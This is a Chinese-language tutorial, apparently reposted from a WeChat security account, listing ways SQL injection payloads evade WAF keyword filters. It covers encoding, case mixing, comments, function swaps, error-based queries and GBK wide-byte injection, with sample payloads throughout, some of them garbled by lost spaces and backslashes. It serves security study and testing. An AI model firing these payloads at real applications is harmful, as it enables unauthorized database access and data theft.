本文总结一些常用的绕过方式,以及原理,菜鸟路过,大佬轻喷!!
SQL注入作为Web安全的“头号杀手”,其核心在于攻击者通过构造恶意输入,绕过应用程序的过滤机制,操控数据库查询逻辑。然而,随着安全防护(如WAF)的普及,传统的注入手段已难以奏效。在此简单总结一些常用sql注入常用绕过方式,帮助开发者与安全人员加固防御,渗透测试者亦可从中获取新思路。
一、编码绕过
原理:通过编码转换敏感字符,使其绕过简单的关键字匹配机制。
常见方式:
URL编码:将空格编码为%20,单引号编码为%27。
id=1%20AND%201=1 --> 实际查询:id=1 AND 1=1
Unicode编码:利用数据库支持的Unicode字符,如u0027代替单引号。
SELECT * FROM users WHERE name='adminu0027 OR 1=1--+
双重URL编码:对已编码字符二次编码
AND -> %25%36%31%25%36%65%25%36%34 (需服务端再解码一次)。
二、大小写与双写绕过:混淆黑名单
原理:利用SQL语法不区分大小写或过滤逻辑不严谨的漏洞。
id=1uNiOnSeLeCt1,2,3--
SELECT
删除操作,可构造SELSELECTECT
,过滤后剩余 SELECT。
id=1 anandd 1=1--> 实际执行:AND 1=1
三、注释与空白符:隐藏恶意代码
原理:通过注释或特殊空白符分割关键词,绕过正则匹配。
id=1/*!UNION*/SELECT1,2,3--+
%09
(Tab)、%0a
(换行)或/**/
代替空格。
SELECT/**/userFROM/**/users;
--%0a
或#
注释后续语句。
id=1' OR 1=1--%0a AND password='xxx'
四、函数与符号替换:绕过关键字过滤
原理:利用数据库内置函数或符号等价替换被拦截的关键字。
SUBSTRING → MID或 SUBSTR,SLEEP → BENCHMARK。
避免逗号:
SUBSTR(database() FROM 1 FOR 1) 替代 SUBSTR(database(),1,1)
AND → &&,OR → ||,如:id=1%27 ||1=1
五、非常规字符与报错利用
REGEXP
或<>
替代=
。
select *FROM users WHERE id LIKE'1'OR1=1;
id=1AND(SELECT1FROM(SELECTCOUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM users GROUPBY x)y) --+
六、宽字节注入(GBK 编码绕过)
原理:利用数据库的 GBK 字符集特性,将转义符 与用户输入组合成合法字符(如汉字),绕过单引号过滤。
?id=1%df%27%20AND%201=1--+
解析:
df%27 → 组合为 運'(GBK 编码), 被 %df 吞并,单引号 ' 逃逸成功。
最终语句:
id=1運' AND 1=1--+
往期推荐
【工具分享】openSCA组件漏洞扫描神器
小程序反编译通杀方法(附工具)
【工具分享】PotatoTool网安人必备工具
【工具分享】LovelyMem内存安全分析利器,CTF必备
原文始发于微信公众号(小白爱学习Sec):SQL注入绕过方式解析 | 渗透测试必看技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论